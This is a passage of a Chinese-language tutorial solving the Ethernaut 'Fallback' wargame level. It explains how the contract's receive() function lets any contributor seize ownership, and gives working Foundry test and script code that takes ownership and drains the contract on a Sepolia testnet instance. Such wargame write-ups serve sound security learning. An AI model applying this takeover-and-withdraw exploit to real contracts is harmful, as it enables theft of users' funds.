blurdataurl="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAECAIAAABgJaqDAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAA6ElEQVR4nGNgYJCzs43398ptnLPi9MePTr7JDAxSLByqLGwqDIxKTKzKjIyKJCEmFiUGBsnYvEZVHTcGBkkGVY0Aa5sEdTXP2MzO5ilrDEzDeYXNhCSshSSsxaUchCSslVS8VFR9SEX6BqFKKh66umEMegYRHCzKkxZf1NANLumds+vWo4qe+TVTFrUtXOcWkF0zcYm2oScjgzIbhzrxiIVN1cI+RlrZ2tEph8HLr1JFxWXSgrN2zllHXn68+eP/0cefT7/5tuni/b5FO/fdfePulycp56Cg4kY8kpRzyCie5BGYFxPbDQCV9Vpp5wbN1QAAAABJRU5ErkJggg==" nextheight="40" nextwidth="310" class="image-node embed"><figcaption htmlattributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>这个就是我们要在本地写的测试文件。</p><p>以上步骤在后面几天我们会重复使用，所以后面就不再赘述了。</p><h2 id="h-fallback" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">分析 Fallback 合约</h2><p>首先我们分析一个这个 Fallback 这关，应该怎么攻破。</p><p>我们首先看到这一关的目标：</p><ol><li><p>获得这个合约的所有权</p></li><li><p>把他的余额减到 0</p></li></ol><p>这两个我们都能理解。</p><p>那我们看到代码中有 <code>owner</code>：</p><pre data-type="codeBlock" text="address public owner;
"><code><span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;
</code></pre><p>这个在 <code>constructor</code> 中就定义了，意思是在合约部署的时候就传入了：</p><pre data-type="codeBlock" text="constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
}
"><code><span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) </span>{
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-number">1000</span> <span class="hljs-operator">*</span> (<span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
}
</code></pre><p>看到这好像感觉，我自己部署了这个合约，那 <code>owner</code> 不就直接是我自己了吗？</p><p>不对的，我们使用网页上的按钮部署的时候，实际上是调用另外的一个合约帮我们部署了这个合约，实际上合约的 <code>owner</code> 不是我们，不然这个题也没意义了。</p><p>我们继续往下看，<code>onlyOwner</code> 修饰符是只允许 <code>owner</code> 调用，这个不用多讲。</p><p>到了 <code>contribute</code> 函数，我们仔细分析一下：</p><pre data-type="codeBlock" text="function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if (contributions[msg.sender] > contributions[owner]) {
        owner = msg.sender;
    }
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">contribute</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">&lt;</span> <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>);
    contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
    <span class="hljs-keyword">if</span> (contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">&gt;</span> contributions[owner]) {
        owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    }
}
</code></pre><p>首先它要求我们每次贡献的钱的数量不能大于 <code>0.001 ETH</code>。</p><p>另外在 <code>if</code> 函数中，如果我们的贡献比 <code>owner</code> 的多，那他就会把 <code>owner</code> 设置为发送者。</p><p>这里有个大问题，<code>owner</code> 的 <code>contributions</code> 在 <code>constructor</code> 中写了，是 <code>1000 * (1 ether)</code> 也就是 1000 ETH，根本没有那么多钱啊。</p><p>所以这里我们没办法攻破，继续往下看。</p><p><code>getContribution</code> 是显示我们的贡献多少钱的函数。</p><p><code>withdraw</code> 是提取当前合约资金的函数，对于攻破都没有任何意义。</p><p>接下来我们看到一个函数 <code>receive</code>：</p><pre data-type="codeBlock" text="receive() external payable {
    require(msg.value > 0 &amp;&amp; contributions[msg.sender] > 0);
    owner = msg.sender;
}
"><code><span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>);
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
}
</code></pre><p>这个里面讲了，如果发送的钱大于 0 并且贡献值大于 0，那么就把 <code>owner</code> 权限给发送者。</p><p><strong>这个正是我们要找的函数！</strong></p><p><code>receive</code> 和 <code>fallback</code> 的区别没忘吧：</p><ul><li><p><code>receive</code> 是一个会计，只管收钱，没有 <code>calldata</code> 也就是附属值的时候会调用 <code>receive</code></p></li><li><p><code>fallback</code> 是客服，<code>receive</code> 处理不了的，有 <code>calldata</code> 或者没有 <code>receive</code> 函数的时候，它就会出来处理</p></li></ul><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">攻击流程</h2><p>那我们明白了攻破这个合约的流程了：</p><ol><li><p>我们需要使用 <code>contribute</code> 函数贡献一些 ETH 进去，但是不能大于 0.001</p></li><li><p>我们直接转账一些钱到这个合约，触发 <code>receive</code> 函数，由于我们有 <code>contributions</code> 并且转账值大于 0，合约会把所有权转给我们发送者</p></li><li><p>调用 <code>withdraw</code> 函数，轻松提取所有在这个合约内的资金</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">编写测试文件</h2><p>搞定，我们开始写 <code>fallback.t.sol</code> 里面的内容了。</p><p>首先写一下我们用的什么协议，然后用的是哪个版本的 Solidity：</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>
</code></pre><p>接下来要在本地测试，那我们就要引入 <code>Test.sol</code>，当作模板，顺便导入 <code>console.sol</code>，作为输出的方法。</p><p>再导入我们刚刚保存的 <code>fallback.sol</code> 合约，让编译器知道我们攻破的合约内容：</p><pre data-type="codeBlock" text="import &quot;forge-std/Test.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/Fallback.sol&quot;;
"><code><span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Test.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/console.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../src/Fallback.sol"</span>;
</code></pre><p>接下来写一个测试合约，我把它叫做 <code>FallbackTest</code>：</p><pre data-type="codeBlock" text="contract FallbackTest is Test{

}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FallbackTest</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span></span>{

}
</code></pre><p>在这个合约中，我们首先定义一下要攻击的合约，还有攻击者的地址以及 sepolia 的 RPC：</p><pre data-type="codeBlock" text="Fallback level1;

address payable att = payable(makeAddr(&quot;attacker&quot;));

string Sepolia_RPC = vm.envString(&quot;SEPOLIA_RPC_URL&quot;);
"><code>Fallback level1;

<span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> att <span class="hljs-operator">=</span> <span class="hljs-keyword">payable</span>(makeAddr(<span class="hljs-string">"attacker"</span>));

<span class="hljs-keyword">string</span> Sepolia_RPC <span class="hljs-operator">=</span> vm.envString(<span class="hljs-string">"SEPOLIA_RPC_URL"</span>);
</code></pre><p>再写一个 <code>setUp</code> 函数，这个是每次启动测试的时候自动运行的，相当于初始化，我们在上一周测试的时候说过：</p><pre data-type="codeBlock" text="function setUp() public {
    uint256 fork = vm.createFork(Sepolia_RPC);
    vm.selectFork(fork);

    address payable instanceAddress = payable(0xaddress);

    level1 = Fallback(payable(instanceAddress));

    vm.deal(att, 10 ether);
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setUp</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">uint256</span> fork <span class="hljs-operator">=</span> vm.createFork(Sepolia_RPC);
    vm.selectFork(fork);

    <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> instanceAddress <span class="hljs-operator">=</span> <span class="hljs-keyword">payable</span>(0xaddress);

    level1 <span class="hljs-operator">=</span> Fallback(<span class="hljs-keyword">payable</span>(instanceAddress));

    vm.deal(att, <span class="hljs-number">10</span> <span class="hljs-literal">ether</span>);
}
</code></pre><p><code>fork</code> 是创建一个 sepolia 的主网分叉模式，<code>vm.selectFork(fork);</code> 选择我们现在的环境是在 fork 这个环境下运行的。</p><p>我们把刚刚的网页上部署的合约替换掉 <code>address payable instanceAddress = payable(0xaddress);</code> 里面的 <code>0xaddress</code>，不需要引号。</p><p>如果找不到刚刚的合约，在 ethernaut 的 console 里面输入 <code>contract</code> 即可看到合约地址。</p><p>我们使用引入的 <code>Fallback</code> 合约对象创建一个合约的实例，方便后面测试。</p><p>最后往攻击地址增加 10 个 ETH，增加 100 个也行，随便。</p><p>接下来我们就要按照上面破解合约的流程写了。</p><p>我们先定义一个测试函数叫 <code>testFallback</code>：</p><pre data-type="codeBlock" text="function testFallback() public {

    vm.startPrank(att);

    level1.contribute{value: 0.00001 ether}();
    assertEq(level1.getContribution(), 0.00001 ether);

    payable(level1).call{value: 0.00001 ether}(&quot;&quot;);
    
    assertEq(level1.owner(), att);

    level1.withdraw();
    assertEq(address(level1).balance, 0);

    vm.stopPrank();
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testFallback</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{

    vm.startPrank(att);

    level1.contribute{<span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.00001</span> <span class="hljs-literal">ether</span>}();
    assertEq(level1.getContribution(), <span class="hljs-number">0</span><span class="hljs-number">.00001</span> <span class="hljs-literal">ether</span>);

    <span class="hljs-keyword">payable</span>(level1).<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.00001</span> <span class="hljs-literal">ether</span>}(<span class="hljs-string">""</span>);
    
    assertEq(level1.owner(), att);

    level1.withdraw();
    assertEq(<span class="hljs-keyword">address</span>(level1).<span class="hljs-built_in">balance</span>, <span class="hljs-number">0</span>);

    vm.stopPrank();
}
</code></pre><p>首先 <code>vm.startPrank(att);</code> 把我们运行的地址设置为 <code>att</code> 这个地址，我们现在身份就是 <code>att</code>。</p><p>然后按照攻破流程：</p><ol><li><p>我们需要使用 <code>contribute</code> 函数贡献一些 ETH 进去，但是不能大于 0.001：<code>level1.contribute{value: 0.00001 ether}();</code> 并且写一个断言来判断是不是真的贡献成功了</p></li><li><p>我们直接转账一些钱到这个合约，触发 <code>receive</code> 函数，由于我们有 <code>contributions</code> 并且转账值大于 0，合约会把所有权转给我们发送者：<code>payable(level1).call{value: 0.00001 ether}("");</code> 再写一个断言来判断有没有得到管理员权限</p></li><li><p>调用 <code>withdraw</code> 函数，轻松提取所有在这个合约内的资金：<code>level1.withdraw();</code> 最后写一个断言，看看合约资金是不是真被我们掏空了 <code>assertEq(address(level1).balance, 0);</code></p></li></ol><p>结束后使用 <code>vm.stopPrank();</code> 关闭上下文环境。</p><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">完整测试代码</h3><p>完整代码如下：</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import &quot;forge-std/Test.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/Fallback.sol&quot;;

contract FallbackTest is Test{

    Fallback level1;

    address  payable att = payable(makeAddr(&quot;attacker&quot;));

    string Sepolia_RPC = vm.envString(&quot;SEPOLIA_RPC_URL&quot;);


    function setUp() public {
        uint256 fork = vm.createFork(Sepolia_RPC);
        vm.selectFork(fork);

        address payable instanceAddress = payable(0xAc76a5046fc29e46ee7585dC6eDF0F299EaE7AdA);

        level1 = Fallback(payable(instanceAddress));

        vm.deal(att, 10 ether);

    }

    function testFallback() public {

        vm.startPrank(att);

        level1.contribute{value: 0.00001 ether}();
        assertEq(level1.getContribution(), 0.00001 ether);

        payable(level1).call{value: 0.00001 ether}(&quot;&quot;); 

        assertEq(level1.owner(), att);

        level1.withdraw();
        assertEq(address(level1).balance, 0);

        vm.stopPrank();

    }

}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Test.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/console.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../src/Fallback.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FallbackTest</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span></span>{

    Fallback level1;

    <span class="hljs-keyword">address</span>  <span class="hljs-keyword">payable</span> att <span class="hljs-operator">=</span> <span class="hljs-keyword">payable</span>(makeAddr(<span class="hljs-string">"attacker"</span>));

    <span class="hljs-keyword">string</span> Sepolia_RPC <span class="hljs-operator">=</span> vm.envString(<span class="hljs-string">"SEPOLIA_RPC_URL"</span>);


    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setUp</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">uint256</span> fork <span class="hljs-operator">=</span> vm.createFork(Sepolia_RPC);
        vm.selectFork(fork);

        <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> instanceAddress <span class="hljs-operator">=</span> <span class="hljs-keyword">payable</span>(<span class="hljs-number">0xAc76a5046fc29e46ee7585dC6eDF0F299EaE7AdA</span>);

        level1 <span class="hljs-operator">=</span> Fallback(<span class="hljs-keyword">payable</span>(instanceAddress));

        vm.deal(att, <span class="hljs-number">10</span> <span class="hljs-literal">ether</span>);

    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testFallback</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{

        vm.startPrank(att);

        level1.contribute{<span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.00001</span> <span class="hljs-literal">ether</span>}();
        assertEq(level1.getContribution(), <span class="hljs-number">0</span><span class="hljs-number">.00001</span> <span class="hljs-literal">ether</span>);

        <span class="hljs-keyword">payable</span>(level1).<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.00001</span> <span class="hljs-literal">ether</span>}(<span class="hljs-string">""</span>); 

        assertEq(level1.owner(), att);

        level1.withdraw();
        assertEq(<span class="hljs-keyword">address</span>(level1).<span class="hljs-built_in">balance</span>, <span class="hljs-number">0</span>);

        vm.stopPrank();

    }

}
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">运行测试</h2><p>现在我们需要运行一下我们的测试，看看思路正确不正确，是不是能成功攻破合约。</p><p>在终端运行下面的命令，如果你的文件名和我一样的化不需要修改，不然要改为自己的文件名：</p><pre data-type="codeBlock" text="forge test --match-path test/fallback.t.sol -vvvv
"><code>forge test <span class="hljs-operator">-</span><span class="hljs-operator">-</span>match<span class="hljs-operator">-</span>path test<span class="hljs-operator">/</span><span class="hljs-keyword">fallback</span>.t.sol <span class="hljs-operator">-</span>vvvv
</code></pre><p><code>-vvvv</code> 是调试非常好用的神器：</p><ul><li><p><code>-v</code>: 只显示测试通过/失败</p></li><li><p><code>-vv</code>: 显示 <code>console.log</code> 的内容</p></li><li><p><code>-vvvv</code>: 显示所有的执行堆栈 (Traces)。如果你的攻击失败了，你可以看到具体是在哪一行代码 revert (回滚) 的，以及参数是什么</p></li></ul><p>过一会会出现如下图所示，代表我们的测试通过！</p><br><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/612fabc068bea2748b379f6d1b551cc99113bb85afd73d0a8c5468750187fbf3.png" alt="{3C2E8D24-5F3B-444B-972E-3E3C81D6F4C7}" blurdataurl="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAASCAIAAAC1qksFAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAFZ0lEQVR4nJ1Ua0xTZxg+Vrs5uxSKWoRyUbkW5DYopaVgW8tpT1sKbTkH6O2UdhxLLYUeCrRlHfdi2RDBC2MYYTaIUTsUtUtVVIzIgpFdMvfHzJn9WUz2b7+WJXM5lOl07seWPPny5ru8z/e93/s8QO8nExfuXpfWoQpds8qIY84BgRyFjQ6xurFUjGBOX/SudIC8c0t0AonK+B8A0goPnL54E7V5E5lFoEYr1mgEMJxSUFp4AOIp1QIYVpqx5KwSgLwToMQR2LprYyQQ+1ccC1DW5ylxrxMAlLhSqLbVO9z18WT/6fPDgYtnwqsDkwsjM8GR6cBseFHX7PT4J+3eEatruHNwwtEzKqu1ojavs/cI3jtudfk9/skml8/U2tfi/SghjQWQYojbrF+IICBR43ck5yZksiGNFW0dPhm8OzB1SY5a9vHEuTzxPp44nlnEk9dEIEL0AnU9V6Yq4MtT3ysrrqguEsmyOGBBeeXuXF5+mbxMWp9RDDLZYHqhMIrB3HhBYhYnhws5ekatnr5zSwv2fq8Od2jtdqnBiHncMtQEW5u09makuVluMmntzUoMU6DmDNZ+eUOD1GAQVtfJtTYmGywW1rgOT9k+GPOOTHf5p3K40AYBI4PNZIOI2dk2NHjz++WBqWNN3V7IgDZ6XIj1UL3d3tDZ7hj2oW24ubOjobO9obOdI6nGPG65yaTGMD3eKkK0OWyhwdoEKtVqI8pIZQIAdaNEBEFmCbO4ohptxod80+Hz4xemFx99/eOvv/38+x/Pnj9f/eGn1gFfh3+kyowJkTohUseVVRfwpeUqJLu8Ip8vyedDGSxBQblUqNSUQvD+ytq8Msk79JSXnxyfwWYWV1hdPpu378JyyDU61HFkuGXAZ+50dR09qmt1Yh73wS63HsfVmAVtw7W4o0yuLpWpGz3tVcaDslobs0jMk+h7x2cHT8z2jgXc/k9LwBoSNf4lQVqhoELVYO3uDn275B4dkhqMeUIQ1OiESJ0ARiADqsQwUKOFDChkQMV6w+6cEgGM7M7hZhbyBJXqYoGYL1fGMFKIfl1v2VfaNDGLk84ScsQIPjRwbmnh5HxgfmVp+nJo5mrIO3Y89GDtxtraw6dPv3v2y5X792euXgutrs7Mf7H29Enw9kpo+cGlxduLqw9PnZ+nMdI2vRv/Bh0kZnGyueLDJ2dHpgOBxeDYudNzS+HPV+7M3bo2txSevXn98pd3g/durTx5PL98L/zNgxuPvhqdDnSNjc+EL42cOZuax6cl50UnZP9TZREdMOh7C2JTC1lCpaaxvan7wzuPV7uPj4oQPT7c1zY0aDjkUpscfIXuxFzo2OyVzxZuHz8bgk0OCn0PQIlbt5D4iKTfbBUAJS42tTAqLn3Hnn05PJH3mB/FWzLZPACgAaSdBMj0dWXSgU00AkAUsfQv6d5MsCuNVSat01jclq7RiWD4RPCevWeqBEQAShyZlrQlOiECMi2JTEt6e3symZb0H8yORGUkZ5cmZXEgHebwTXT4A7aeU2ks0bbYVBKVEUn6Ivh7HDlPpiVtpiZspia8mHnNdwHCiqMYW7cncaVya7frLVoiQNpO6JAUQ1SWvG5bkSoBUcS4NXbDziIdSQR04sjGfjpAinmFgCetFyj0uaWQtN6yN5eXz5dkccAqg02oMOSxKkQqoxJtLREqQJXx/bZ+DghzxAhsdko1WA4XiribQKGvO9gJm50cMcJX6GCzcxt974tPAkQKiwyxiyoxlbatHEL5clQgNcGoW4G0CCQNoMJSpcFFlY0yxG6y+0CFhS81qwwdCqSFD5l4ICpRWSUqa5UGh1G3qBKTqKw1qCubJU/JrYjgT5Ni4RiFtL67AAAAAElFTkSuQmCC" nextheight="390" nextwidth="692" class="image-node embed"><figcaption htmlattributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">上链部署</h2><p>这时候我们需要把它上链啊，总不能一直在本地模拟成功，那模拟成功了也没什么用。</p><p>这时候我们就用到 script 了。</p><p>在 script 目录下新建一个文件 <code>script.s.sol</code></p><br><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b19b1d4d3ad3df93f3b417560b646bc6d702f503f62d8679b13f96ba2c8ac52b.png" alt="{2CBAC819-1323-43EE-A684-A5D756E70E71}" blurdataurl="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAFCAIAAACreXkmAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAA7klEQVR4nGPgE9WXkLIUEjcWlTGXUbaXUbbnE9Xn5NHkFtCmBPEI6cgo2/MI6TAIS5qlxrc4eqWtvXHlwKtnp399lJCz5OTR4BHS4RHSIc90Th5NfnHD3IZJguLGDPxiBryCupx8Gjz8Wvxi+rwiegwMiuwcahwcauxsamxcamR7gpVVhVtAm0FQRNcntLpl1gmPyMz9795e+/+/Z9X6+UdPZNR1xha1zD94VN3Am5VVhVTfcPJoFjRPFZEyYxASM1LT8lHTDZFSsg5OqwxNr43IqvWJKfIIy3YLyQ5KLhOSMOHk0yDDB8bWYfzihgABgU+mgUe3sQAAAABJRU5ErkJggg==" nextheight="44" nextwidth="297" class="image-node embed"><figcaption htmlattributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>我们就使用这个文件让操作上链，代码如下：</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/Fallback.sol&quot;;

contract FallbackTest is Script{

    function run() external {
        uint256 privateKey = vm.envUint(&quot;PRIVATE_KEY&quot;);

        address fallbackAddress = 0xAc76a5046fc29e46ee7585dC6eDF0F299EaE7AdA;
        Fallback fallb = Fallback(payable(fallbackAddress));

        vm.startBroadcast(privateKey);
        
        fallb.contribute{value: 0.00001 ether}();

        (bool success, ) = address(fallb).call{value: 0.0001 ether}(&quot;&quot;);
        require(success, &quot;Transfer failed&quot;);

        fallb.withdraw();

        console.log(&quot;completed&quot;);

        vm.stopBroadcast();
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/console.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../src/Fallback.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FallbackTest</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span></span>{

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> privateKey <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);

        <span class="hljs-keyword">address</span> fallbackAddress <span class="hljs-operator">=</span> <span class="hljs-number">0xAc76a5046fc29e46ee7585dC6eDF0F299EaE7AdA</span>;
        Fallback fallb <span class="hljs-operator">=</span> Fallback(<span class="hljs-keyword">payable</span>(fallbackAddress));

        vm.startBroadcast(privateKey);
        
        fallb.contribute{<span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.00001</span> <span class="hljs-literal">ether</span>}();

        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(fallb).<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.0001</span> <span class="hljs-literal">ether</span>}(<span class="hljs-string">""</span>);
        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Transfer failed"</span>);

        fallb.withdraw();

        console.log(<span class="hljs-string">"completed"</span>);

        vm.stopBroadcast();
    }
}
</code></pre><p>看着是不是和 Test 很像？</p><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">讲一下变化</h3><p>我们在 test 是引入 <code>Test.sol</code>，我们写 script 是引入 <code>import "forge-std/Script.sol";</code></p><p>然后我们在创建合约的时候，继承的也是 script：<code>contract FallbackTest is Script{}</code></p><p>script 的入口函数叫 <code>run</code>，所以我们新定义一个 <code>function run() external {}</code></p><p>接下来我们因为要真实上链，所以就不能使用模拟账户了，我们从 env 文件里面读取我们写的 <code>privateKey</code>，然后运行 <code>vm.startBroadcast(privateKey())</code> 把我们的真实钱包当作我们当前使用的钱包，设置为上下文环境即 context。</p><p>继续定义一个 <code>fallback</code> 函数。</p><p>然后我们按照测试文件中相同的方法来发送：</p><ol><li><p>先贡献：<code>fallb.contribute{value: 0.00001 ether}();</code> 由于我们当前使用的是私钥钱包，所以发送者就是我们的私钥钱包</p></li><li><p>给合约发送一点钱，触发 <code>receive</code> 函数：<code>(bool success, ) = address(fallb).call{value: 0.0001 ether}("");</code></p></li><li><p>提取所有合约里的钱：<code>fallb.withdraw();</code></p></li></ol><p>明白了吧，相当于我们把测试的流程变成真的发送到链上了。</p><h3 id="h-script" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">执行 Script</h3><p>然后我们要使用：</p><pre data-type="codeBlock" text="forge script script/fallback.s.sol --rpc-url $SEPOLIA_RPC_URL
"><code>forge script script<span class="hljs-operator">/</span><span class="hljs-keyword">fallback</span>.s.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url $SEPOLIA_RPC_URL
</code></pre><p>这个命令。</p><p>稍等一会后会出现结果，如果成功的话就和下图一样：</p><br><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5eeb80027b16c8f76a42a50565c1dcc55f9b6417aab9b561168672fbacc05e64.png" alt="{3A93E064-B95B-4CE4-848A-ADFA8D645B72}" blurdataurl="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAKCAIAAABaL8vzAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABpUlEQVR4nGNg4JBg5pUNSy4tqO2PSq1s7l8QmliaVNDgFpyWU9ld3zs7s7wlMqOiqK6npHFS86T5Tn5xuTVdgnJaDNySTHzSBBGDnr17UXvLsn076qdMaZg6pX3u3MW7t87bvKlv6eIjD66HZxYoaFsr6NlIqJrq2nqpm7lIqJoq6duxC8sTYzrIAl4pVQ1rJ0V9EzFlTSVjCzkdEw1rB1UTW3l9S207Vz4JJQZWUQYOcRBiEoayWcWINB1kgYiSoaisnltAioaxM7eYGtgUMQTilmQVlIMoZRGQYRGQId5oqAXswvKWnhEvf/1fsHZX66T5UuoWEEPh5jJRhhgYmIQEpNT1bX1ltaxVjR05heRA4QBG1LHA3i/WOzwzID43JqvCxT/ByS9Ox8o9qaA2NKmQgVuCTViWUgtktSyV9Gw1zd20rdyt3cN0rTxF5LSU9W2V9GyhscpNVHLEEwcK4iomYkqG4irGQvJ6IkqG0lpWEBEFPRtlIwdeSTVQyuGWJBMZ2gT4Rhb6RxX5RxX6RxX6RoIQnBEUW2poEyChbC6lZkUeAgDhr4i4CAX3PwAAAABJRU5ErkJggg==" nextheight="161" nextwidth="537" class="image-node embed"><figcaption htmlattributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>这时候并不是真的成功了，我们只是在本地模拟运行了一遍，看看有没有报错。</p><p>接下来运行：</p><pre data-type="codeBlock" text="forge script script/fallback.s.sol --rpc-url $SEPOLIA_RPC_URL --broadcast
"><code>forge script script<span class="hljs-operator">/</span><span class="hljs-keyword">fallback</span>.s.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url $SEPOLIA_RPC_URL <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast
